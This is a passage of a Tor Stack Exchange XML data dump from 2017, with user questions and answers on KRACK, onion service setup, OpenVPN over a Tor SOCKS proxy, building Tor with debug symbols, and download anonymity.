  <row Id="15950" PostTypeId="2" ParentId="15949" CreationDate="2017-10-17T19:30:09.883" Score="2" Body="&lt;p&gt;You're using wifi with a wireless access point that you don't control and you're worried about KRACK? If the owner of the access point wanted access to your network data then KRACK doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, according to the latest KRACK details BOTH the client and access point need to be updated to mitigate it. It's an attack on the wifi connection so it's not like it affects applications aside from letting an attacker break into that connection (which you should already be worried about since it's not your WAP).&lt;/p&gt;&#xA;" OwnerUserId="19531" LastActivityDate="2017-10-17T19:30:09.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15951" PostTypeId="2" ParentId="15949" CreationDate="2017-10-17T22:30:16.920" Score="3" Body="&lt;p&gt;Yes, Tor is unaffected by KRACK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At best KRACK could be used to perform some denial of service (stopping your packets from being sent), but it will not be able to forge or intercept Tor traffic, since it is end-to-end crypted before it is sent over the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have a good copy of Tor (you both verified it's signed by the correct key and that the key is valid) then no kind of man-in-the-middle attack can be performed on your connection into or across the Tor network (although it can be performed on traffic leaving the network).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-17T22:30:16.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15953" PostTypeId="1" CreationDate="2017-10-18T06:55:58.087" Score="0" ViewCount="415" Body="&lt;p&gt;My HIPS firewall was giving Warnings that firefox.exe in the installed i.e; extracted TOR Browser bundle was unsinged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked using properties of the firefox.exe and sure enough there is no signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the TOR Browser bundle installer had a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am not talking about the GPG signature. I am talking about the Windows signature which is based on a few signing authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a compromised installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note to users. Add &lt;code&gt;signature&lt;/code&gt; tag to this question&lt;/p&gt;&#xA;" OwnerUserId="19538" LastEditorUserId="19538" LastEditDate="2017-10-18T07:47:12.033" LastActivityDate="2018-02-24T05:42:04.640" Title="Is firefox.exe in Tor Browser Bundle on Windows Unsigned?" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15954" PostTypeId="2" ParentId="14563" CreationDate="2017-10-18T15:40:37.183" Score="1" Body="&lt;p&gt;Well, Quite Simple... If you do have one website - just set it up, check that it's working just by IP and &lt;strong&gt;make sure&lt;/strong&gt; that your whole apache config has &lt;strong&gt;only one&lt;/strong&gt; uncommented &lt;code&gt;Listen 127.0.0.1:80&lt;/code&gt; directive. As it's done - all you need is to make two lines in your &lt;code&gt;torrc&lt;/code&gt; config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /path/to/tor/hidden_service/directory/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically - that's it! But keep in mind, that clearnet and darknet sites are &lt;em&gt;both&lt;/em&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;em&gt;equal&lt;/em&gt; - a websites, they do need protection. The protection techniques are task-dependent, but they're &lt;strong&gt;a must&lt;/strong&gt;!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-18T15:40:37.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15957" PostTypeId="1" CreationDate="2017-10-19T00:30:37.090" Score="0" ViewCount="1437" Body="&lt;p&gt;I've already check &lt;a href=&quot;https://tor.stackexchange.com/questions/1181/how-to-protect-a-hidden-service-against-ddos-attack&quot;&gt;How to protect a hidden service against DDOS attack?&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/13786/how-to-deal-with-ddos-attacks&quot;&gt;How to deal with DDOS attacks?&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/8819/how-to-mitigate-layer-7-attacks-on-hidden-services?rq=1&quot;&gt;How to mitigate layer 7 attacks on hidden services?&lt;/a&gt;. The problem is not DDoS of web server, instead DDoS of Tor daemon. I already looked at &lt;a href=&quot;http://www.hackerfactor.com/blog/index.php?/archives/777-Stopping-Tor-Attacks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hackerfactor.com/blog/index.php?/archives/777-Stopping-Tor-Attacks.html&lt;/a&gt;. I customised his solution to fit my needs. It worked for short time, but then stopped working. I tried change the detector of bots, but not work. The Tor hangs then crash. When pull Tor back online, same attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already deploy OnionBalance servers with a script that load balance instance of Tor on multicore processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still get destroy by a DDoS attack. Anyone have any solutions? Tor Project need fix this soon.&lt;/p&gt;&#xA;" OwnerUserId="19546" LastActivityDate="2017-10-19T18:57:34.680" Title="Stopping a DDoS attack on Tor daemon" Tags="|configuration|onion-services|attacks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15958" PostTypeId="1" AcceptedAnswerId="15960" CreationDate="2017-10-19T05:55:15.813" Score="0" ViewCount="298" Body="&lt;p&gt;It seems &lt;code&gt;torsocks&lt;/code&gt; and &lt;code&gt;apt-transport-tor&lt;/code&gt; don't have installation candidates in Zesty (17.04). I just spent an hr installing and configuring Zesty to my liking only to find these packages aren't available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to use the xenial/universe repos in a Zesty build? Or does it make more sense to install Xenial (16.xx)? How do I install properly install these packages?&lt;/p&gt;&#xA;" OwnerUserId="19548" LastActivityDate="2017-10-19T09:43:52.693" Title="Installing torsocks and apt-transport-tor in Zesty" Tags="|configuration|ubuntu|torsocks|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15959" PostTypeId="2" ParentId="15946" CreationDate="2017-10-19T07:12:16.003" Score="1" Body="&lt;p&gt;Ok, so it seems that all I had to do was to temporarily tell &lt;code&gt;NoScript&lt;/code&gt; to allow scripts globally. After doing that, I went to &lt;code&gt;about:addons&lt;/code&gt; as per usual and changed my settings. Sure enough, my settings actually got saved. I.e., they worked for the rest of the session and also persisted to new Tor Browser processes. To verify that my settings saved, I checked under Tor Browser's &lt;code&gt;browser-extension-data&lt;/code&gt; folder. Luckily, there was a file there with my custom settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the lesson is that some addons need JavaScript to set their settings. To others reading this: you should temporarily disable &lt;code&gt;NoScript&lt;/code&gt;'s protection for such addons. After changing the addon's settings, you can set &lt;code&gt;NoScript&lt;/code&gt; back to globally forbidding scripts.&lt;/p&gt;&#xA;" OwnerUserId="17474" LastActivityDate="2017-10-19T07:12:16.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15960" PostTypeId="2" ParentId="15958" CreationDate="2017-10-19T09:43:52.693" Score="0" Body="&lt;p&gt;There are, infact, available for Zesty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://packages.ubuntu.com/zesty/admin/apt-transport-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;apt-transport-tor&lt;/a&gt; and &lt;a href=&quot;https://packages.ubuntu.com/zesty/torsocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;torsocks&lt;/a&gt; are both in the 'universe' repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to enable the 'universe' repo, try this question on AskUbuntu: &lt;a href=&quot;https://askubuntu.com/questions/148638/how-do-i-enable-the-universe-repository&quot;&gt;How do I enable the “Universe” repository?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-19T09:43:52.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15961" PostTypeId="2" ParentId="15957" CreationDate="2017-10-19T18:57:34.680" Score="1" Body="&lt;p&gt;As mentioned by the kind comment I realised Tor on my Whonix Gateway was out of date when talking to some people in IRC. I deleted the Gateway and reinstalled with the newest version of Tor to remove HackerFactor's changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to have fixed the problem, and everything is running smoothly now. For reference this is the same issue I was having: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20203&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/20203&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My apologies.&lt;/p&gt;&#xA;" OwnerUserId="19554" LastActivityDate="2017-10-19T18:57:34.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15962" PostTypeId="2" ParentId="15948" CreationDate="2017-10-20T08:42:49.387" Score="0" Body="&lt;p&gt;Updating to TorBrowser version 7.0.7 (and 7.5a6) resolve the problem, because they come with Firefox 52.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;m.&lt;/p&gt;&#xA;" OwnerUserId="19528" LastActivityDate="2017-10-20T08:42:49.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15963" PostTypeId="1" CreationDate="2017-10-20T15:40:44.397" Score="0" ViewCount="5652" Body="&lt;p&gt;I'm trying to connect to an OpenVPN server through Tor Socks Proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to connect to the VPN sometimes I receive this error message &quot;Recv_socks_reply: TCP Port Read Timeout expired&quot; and OpenVPN tries to re-establish the connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other times instead the connection to the VPN happens successfully, but as soon as I try to connect to a website the connection falls by giving me &quot;Inactivity timeout (--ping-restart), restarting&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the same .ovpn and the same torrc on Windows everything works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use OpenVPN version 2.4.3 on Linux and 2.4.4 on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log (Recv_socks_reply: TCP Port Read Timeout expired):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sat Oct 21 12:31:31 2017 TCP/UDP: Preserving recently used remote address: [AF_INET]127.0.0.1:9050&#xA;Sat Oct 21 12:31:31 2017 Socket Buffers: R=[87380-&amp;gt;87380] S=[16384-&amp;gt;16384]&#xA;Sat Oct 21 12:31:31 2017 Attempting to establish TCP connection with [AF_INET]127.0.0.1:9050 [nonblock]&#xA;Sat Oct 21 12:31:31 2017 TCP connection established with [AF_INET]127.0.0.1:9050&#xA;Sat Oct 21 12:31:36 2017 recv_socks_reply: TCP port read timeout expired: Operation now in progress (errno=115)&#xA;Sat Oct 21 12:31:36 2017 SIGUSR1[soft,init_instance] received, process restarting&#xA;Sat Oct 21 12:31:36 2017 Restart pause, 5 second(s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Log (Inactivity timeout (--ping-restart), restarting):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sat Oct 21 12:25:30 2017 DEPRECATED OPTION: http-proxy-retry and socks-proxy-retry: In OpenVPN 2.4 proxy connection retries are handled like regular connections. Use connect-retry-max 1 to get a similar behavior as before.&#xA;Sat Oct 21 12:25:30 2017 OpenVPN 2.4.3 i686-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jun 30 2017&#xA;Sat Oct 21 12:25:30 2017 library versions: OpenSSL 1.0.2l  25 May 2017, LZO 2.08&#xA;Sat Oct 21 12:25:30 2017 WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.&#xA;Sat Oct 21 12:25:30 2017 TCP/UDP: Preserving recently used remote address: [AF_INET]127.0.0.1:9050&#xA;Sat Oct 21 12:25:30 2017 Socket Buffers: R=[87380-&amp;gt;87380] S=[16384-&amp;gt;16384]&#xA;Sat Oct 21 12:25:30 2017 Attempting to establish TCP connection with [AF_INET]127.0.0.1:9050 [nonblock]&#xA;Sat Oct 21 12:25:30 2017 TCP connection established with [AF_INET]127.0.0.1:9050&#xA;Sat Oct 21 12:25:31 2017 TCP_CLIENT link local: (not bound)&#xA;Sat Oct 21 12:25:31 2017 TCP_CLIENT link remote: [AF_INET]127.0.0.1:9050&#xA;Sat Oct 21 12:25:31 2017 TLS: Initial packet from [AF_INET]127.0.0.1:9050, sid=03e99185 49df78b9&#xA;Sat Oct 21 12:25:32 2017 VERIFY OK: depth=2, C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Certification Authority&#xA;Sat Oct 21 12:25:32 2017 VERIFY OK: depth=1, C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA&#xA;Sat Oct 21 12:25:32 2017 VERIFY OK: depth=0, OU=Domain Control Validated, OU=PositiveSSL Wildcard, CN=*.opengw.net&#xA;Sat Oct 21 12:25:33 2017 Control Channel: TLSv1.2, cipher TLSv1/SSLv3 ECDHE-RSA-AES256-GCM-SHA384, 2048 bit RSA&#xA;Sat Oct 21 12:25:33 2017 [*.opengw.net] Peer Connection Initiated with [AF_INET]127.0.0.1:9050&#xA;Sat Oct 21 12:25:34 2017 SENT CONTROL [*.opengw.net]: 'PUSH_REQUEST' (status=1)&#xA;Sat Oct 21 12:25:34 2017 PUSH: Received control message: 'PUSH_REPLY,ping 3,ping-restart 10,ifconfig 10.211.1.13 10.211.1.14,dhcp-option DNS 10.211.254.254,dhcp-option DNS 8.8.8.8,route-gateway 10.211.1.14,redirect-gateway def1'&#xA;Sat Oct 21 12:25:34 2017 OPTIONS IMPORT: timers and/or timeouts modified&#xA;Sat Oct 21 12:25:34 2017 OPTIONS IMPORT: --ifconfig/up options modified&#xA;Sat Oct 21 12:25:34 2017 OPTIONS IMPORT: route options modified&#xA;Sat Oct 21 12:25:34 2017 OPTIONS IMPORT: route-related options modified&#xA;Sat Oct 21 12:25:34 2017 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified&#xA;Sat Oct 21 12:25:34 2017 Data Channel Encrypt: Cipher 'AES-128-CBC' initialized with 128 bit key&#xA;Sat Oct 21 12:25:34 2017 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication&#xA;Sat Oct 21 12:25:34 2017 Data Channel Decrypt: Cipher 'AES-128-CBC' initialized with 128 bit key&#xA;Sat Oct 21 12:25:34 2017 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication&#xA;Sat Oct 21 12:25:34 2017 ROUTE_GATEWAY 192.168.1.1/255.255.255.0 IFACE=wlan0 HWADDR=AAAAAA&#xA;Sat Oct 21 12:25:35 2017 TUN/TAP device tun0 opened&#xA;Sat Oct 21 12:25:35 2017 TUN/TAP TX queue length set to 100&#xA;Sat Oct 21 12:25:35 2017 do_ifconfig, tt-&amp;gt;did_ifconfig_ipv6_setup=0&#xA;Sat Oct 21 12:25:35 2017 /sbin/ip link set dev tun0 up mtu 1500&#xA;Sat Oct 21 12:25:35 2017 /sbin/ip addr add dev tun0 local 10.211.1.13 peer 10.211.1.14&#xA;Sat Oct 21 12:25:36 2017 /sbin/ip route add 127.0.0.1/32 via 192.168.1.1&#xA;Sat Oct 21 12:25:36 2017 /sbin/ip route add 0.0.0.0/1 via 10.211.1.14&#xA;Sat Oct 21 12:25:36 2017 /sbin/ip route add 128.0.0.0/1 via 10.211.1.14&#xA;Sat Oct 21 12:25:36 2017 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this&#xA;Sat Oct 21 12:25:36 2017 Initialization Sequence Completed&#xA;Sat Oct 21 12:25:46 2017 [*.opengw.net] Inactivity timeout (--ping-restart), restarting&#xA;Sat Oct 21 12:25:46 2017 SIGUSR1[soft,ping-restart] received, process restarting&#xA;Sat Oct 21 12:25:46 2017 Restart pause, 5 second(s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the .ovpn file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;###############################################################################&#xA;# OpenVPN 2.0 Sample Configuration File&#xA;# for PacketiX VPN / SoftEther VPN Server&#xA;# &#xA;# !!! AUTO-GENERATED BY SOFTETHER VPN SERVER MANAGEMENT TOOL !!!&#xA;# &#xA;# !!! YOU HAVE TO REVIEW IT BEFORE USE AND MODIFY IT AS NECESSARY !!!&#xA;# &#xA;# This configuration file is auto-generated. You might use this config file&#xA;# in order to connect to the PacketiX VPN / SoftEther VPN Server.&#xA;# However, before you try it, you should review the descriptions of the file&#xA;# to determine the necessity to modify to suitable for your real environment.&#xA;# If necessary, you have to modify a little adequately on the file.&#xA;# For example, the IP address or the hostname as a destination VPN Server&#xA;# should be confirmed.&#xA;# &#xA;# Note that to use OpenVPN 2.0, you have to put the certification file of&#xA;# the destination VPN Server on the OpenVPN Client computer when you use this&#xA;# config file. Please refer the below descriptions carefully.&#xA;&#xA;&#xA;###############################################################################&#xA;# Specify the type of the layer of the VPN connection.&#xA;# &#xA;# To connect to the VPN Server as a &quot;Remote-Access VPN Client PC&quot;,&#xA;#  specify 'dev tun'. (Layer-3 IP Routing Mode)&#xA;#&#xA;# To connect to the VPN Server as a bridging equipment of &quot;Site-to-Site VPN&quot;,&#xA;#  specify 'dev tap'. (Layer-2 Ethernet Bridgine Mode)&#xA;&#xA;dev tun&#xA;&#xA;&#xA;###############################################################################&#xA;# Specify the underlying protocol beyond the Internet.&#xA;# Note that this setting must be correspond with the listening setting on&#xA;# the VPN Server.&#xA;# &#xA;# Specify either 'proto tcp' or 'proto udp'.&#xA;&#xA;proto tcp&#xA;&#xA;&#xA;###############################################################################&#xA;# The destination hostname / IP address, and port number of&#xA;# the target VPN Server.&#xA;# &#xA;# You have to specify as 'remote &amp;lt;HOSTNAME&amp;gt; &amp;lt;PORT&amp;gt;'. You can also&#xA;# specify the IP address instead of the hostname.&#xA;# &#xA;# Note that the auto-generated below hostname are a &quot;auto-detected&#xA;# IP address&quot; of the VPN Server. You have to confirm the correctness&#xA;# beforehand.&#xA;# &#xA;# When you want to connect to the VPN Server by using TCP protocol,&#xA;# the port number of the destination TCP port should be same as one of&#xA;# the available TCP listeners on the VPN Server.&#xA;# &#xA;# When you use UDP protocol, the port number must same as the configuration&#xA;# setting of &quot;OpenVPN Server Compatible Function&quot; on the VPN Server.&#xA;&#xA;remote vpn118495111.opengw.net 1902&#xA;&#xA;&#xA;###############################################################################&#xA;# The HTTP/HTTPS proxy setting.&#xA;# &#xA;# Only if you have to use the Internet via a proxy, uncomment the below&#xA;# two lines and specify the proxy address and the port number.&#xA;# In the case of using proxy-authentication, refer the OpenVPN manual.&#xA;&#xA;;http-proxy-retry&#xA;;http-proxy [proxy server] [proxy port]&#xA;&#xA;&#xA;###############################################################################&#xA;# The encryption and authentication algorithm.&#xA;# &#xA;# Default setting is good. Modify it as you prefer.&#xA;# When you specify an unsupported algorithm, the error will occur.&#xA;# &#xA;# The supported algorithms are as follows:&#xA;#  cipher: [NULL-CIPHER] NULL AES-128-CBC AES-192-CBC AES-256-CBC BF-CBC&#xA;#          CAST-CBC CAST5-CBC DES-CBC DES-EDE-CBC DES-EDE3-CBC DESX-CBC&#xA;#          RC2-40-CBC RC2-64-CBC RC2-CBC&#xA;#  auth:   SHA SHA1 MD5 MD4 RMD160&#xA;&#xA;cipher AES-128-CBC&#xA;auth SHA1&#xA;&#xA;&#xA;###############################################################################&#xA;# Other parameters necessary to connect to the VPN Server.&#xA;# &#xA;# It is not recommended to modify it unless you have a particular need.&#xA;&#xA;resolv-retry infinite&#xA;nobind&#xA;persist-key&#xA;persist-tun&#xA;client&#xA;verb 3&#xA;#auth-user-pass&#xA;&#xA;&#xA;###############################################################################&#xA;# The certificate file of the destination VPN Server.&#xA;# &#xA;# The CA certificate file is embedded in the inline format.&#xA;# You can replace this CA contents if necessary.&#xA;# Please note that if the server certificate is not a self-signed, you have to&#xA;# specify the signer's root certificate (CA) here.&#xA;&#xA;&amp;lt;ca&amp;gt;&#xA;....&#xA;&amp;lt;/ca&amp;gt;&#xA;&#xA;&#xA;###############################################################################&#xA;# The client certificate file (dummy).&#xA;# &#xA;# In some implementations of OpenVPN Client software&#xA;# (for example: OpenVPN Client for iOS),&#xA;# a pair of client certificate and private key must be included on the&#xA;# configuration file due to the limitation of the client.&#xA;# So this sample configuration file has a dummy pair of client certificate&#xA;# and private key as follows.&#xA;&#xA;&amp;lt;cert&amp;gt;&#xA;...&#xA;&amp;lt;/cert&amp;gt;&#xA;&#xA;&amp;lt;key&amp;gt;&#xA;...&#xA;&amp;lt;/key&amp;gt;&#xA;&#xA;socks-proxy-retry&#xA;socks-proxy 127.0.0.1 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 127.0.0.1:9050 PreferSOCKSNoAuth&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19560" LastEditorUserId="19560" LastEditDate="2017-10-21T10:36:28.517" LastActivityDate="2023-04-01T12:52:37.933" Title="OpenVPN connecting to a server via a Tor (SOCKS) proxy - error: &quot;timeout expired&quot; and &quot;Inactivity timeout&quot;&quot; in Linux" Tags="|anonymity|error|proxy|socks|openvpn|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15964" PostTypeId="1" CreationDate="2017-10-20T23:16:40.600" Score="1" ViewCount="689" Body="&lt;p&gt;I am interested in debugging Tor to obtain the functions stack of the program. Studying it but haven't able to produce an output that displays functions stack / backtrace. Seems to only produce their addresses when I include &quot;ggdb&quot; using gdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="16999" LastActivityDate="2019-08-13T09:02:40.337" Title="How do I debug Tor" Tags="|configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15966" PostTypeId="2" ParentId="15964" CreationDate="2017-10-21T23:54:44.607" Score="1" Body="&lt;p&gt;You'll want to compile it with debugging symbols while building it from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project distributes debugging symbols for Tor Browser, but I do not believe they do so for Tor (building Tor Browser is a much bigger undertaking, so providing the symbols makes it easier).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Linux (or most POSIX-like systems), the process should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget https://dist.torproject.org/tor-0.3.1.7.tar.gz{,.asc}&#xA;gpg --verify tor-0.3.1.7.tar.gz.asc tor-0.3.1.7.tar.gz&#xA;# Check the signature is good&#xA;tar vxaf tor-0.3.1.7.tar.gz&#xA;cd tor-0.3.1.7&#xA;env CFLAG='-ggdb' ./configure&#xA;# Add the -ggdb CFLAG to the make process&#xA;make&#xA;gdb src/or/tor&#xA;# gdb should report 'Reading symbols from src/or/tor...done.', you now have debugging symbols available.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-21T23:54:44.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15967" PostTypeId="1" CreationDate="2017-10-22T00:15:13.817" Score="3" ViewCount="75122" Body="&lt;p&gt;So basically what I'm asking is: will downloading files (ie., video files, DOC files ect) compromise my anonomity? I ask because I visited some forums selling a answer to this very question and some people are saying that it is NOT safe to download files of any kind though TOR. I don't believe they only mean that the file(s) will &quot;call home&quot;. It seems to me that they are saying that simply downloading files via TOR can compromise your anonymity (even if the file doesn't &quot;call home&quot;). Can anyone confirm or deny this? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="19570" LastActivityDate="2020-01-06T08:07:29.640" Title="is it safe to download files through TOR?" Tags="|anonymity|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15968" PostTypeId="2" ParentId="15933" CreationDate="2017-10-22T09:30:02.097" Score="-1" Body="&lt;p&gt;Similar to -&gt; &quot;&lt;strong&gt;You can have peace. Or you can have freedom!&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same story about Tor Browser. &lt;strong&gt;Security vs Anonymity.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would easily find tons of hate speeches of community with dev-team, where every one crying about &lt;strong&gt;Enabled by Default Java-Script&lt;/strong&gt;. Really, it is a headache of large group of savvy hackers who doesn't producing TorBrowser but like to use something like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, every time when FBI cracks something in &quot;DarkWeb&quot;, they reports about new 0-Day vulnerability in JavaScript machine inside TorBrowser, thereafter - release new &quot;patched&quot; version of this &lt;strong&gt;Super-Dooper-Modified FireFox&lt;/strong&gt; and calms down like nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anonymity:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the other side, when you will try to change something in such product like TorBrowser you will &quot;mark&quot; your Browser as a special one. And it is way to profile you from other crowd of TorBrowser-users. You might break the Idea lying in the background of TorBrowser's design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are installing kind of &quot;Plugin&quot;, or disabling &quot;JavaScript&quot;, or disabling &quot;Loading of Picture&quot; - you becoming visible, discernible from millions &quot;Default&quot; users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we talking about TorBrowser: &quot;&lt;strong&gt;You can't have Anonymity AND can't have Security... with TorBrowser Firefox-based with enabled Java-Script by default by st..id dev-team!!!!&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry..&lt;/p&gt;&#xA;" OwnerUserId="19576" LastActivityDate="2017-10-22T09:30:02.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15969" PostTypeId="2" ParentId="15967" CreationDate="2017-10-22T13:11:45.713" Score="2" Body="&lt;p&gt;I'd say in general there is no additional risk compared to regular use. After all, downloading files is what Tor Browser Bundle does all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you download something out of the ordinary, say a really big file or a lot of files in a specific pattern, it might be possible to correlate the traffic from the server to the Tor network and the traffic from the network to you. This requires both your ISP's logs and the download server ISP's logs to be compared. Or having a dystopian government, monitoring every connection, possibly colluding with like-minded governments.&#xA;Or being a &lt;a href=&quot;http://edition.cnn.com/2013/12/17/justice/massachusetts-harvard-hoax/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;moron&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is basically the same as hiding in a crowd. So if you avoid doing stuff to stand out and if the crowd is big enough, downloading files should be fine.&lt;/p&gt;&#xA;" OwnerUserId="19580" LastEditorUserId="19580" LastEditDate="2017-10-22T13:24:56.743" LastActivityDate="2017-10-22T13:24:56.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15970" PostTypeId="1" CreationDate="2017-10-22T14:22:42.447" Score="0" ViewCount="106" Body="&lt;p&gt;I run Tor 0.2.5.14 on Linux and tried setting it up as a bridge with obfs3 and obfs4 enabled.&#xA;According to the log everything is ok, but Atlas shows a seemingly random ORPort in the higher ranges instead of port 443, which I defined in torrc.&#xA;It is not any of the PTs ports.&#xA;ExtORPort auto is enabled.&#xA;There was traffic when the bridge was started but I think it was only server descriptors and keys being exchanged.&#xA;So, what is this port on Atlas, what is it doing and should I open the firewall for incoming connections to it?&lt;/p&gt;&#xA;" OwnerUserId="19580" LastActivityDate="2022-03-31T19:07:15.683" Title="Why does Atlas show bridge ORPort differing from torrc?" Tags="|bridge|pluggable-transports|atlas|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15971" PostTypeId="1" CreationDate="2017-10-22T18:45:45.437" Score="0" ViewCount="2241" Body="&lt;p&gt;After latest update, Avast says tor's firefox.exe has IDP.Generic virus/trojan. Does it? How can I be sure it doesn't?&lt;/p&gt;&#xA;" OwnerUserId="19584" LastActivityDate="2020-01-11T15:23:35.880" Title="After latest update, Avast says tor's firefox.exe has IDP.Generic virus/trojan" Tags="|firefox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15972" PostTypeId="1" AcceptedAnswerId="15979" CreationDate="2017-10-22T19:27:07.827" Score="0" ViewCount="1184" Body="&lt;p&gt;If I run a VPS (using Orange VPS provider out of Iceland, purchased with monero-filtered bitcoin) as a TOR exit node, and that VPS (running Streisand) is also the VPS I use for a privately controlled VPN, does that inject the VPN traffic with the outgoing TOR traffic via shared IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I engage the VPN tunnel to my VPS after establishing my own TOR circuit, does that successfully keep the VPS provider from seeing the originating IP as long as the TOR circuit remains intact and no direct log-in happens from that IP without going through TOR?&lt;/p&gt;&#xA;" OwnerUserId="19585" LastEditorUserId="19585" LastEditDate="2017-10-22T19:51:59.567" LastActivityDate="2017-10-23T17:35:07.677" Title="Setting up an exit node on VPS along with a VPN. Impact to anonymity?" Tags="|anonymity|exit-relays|vpn|vps|" 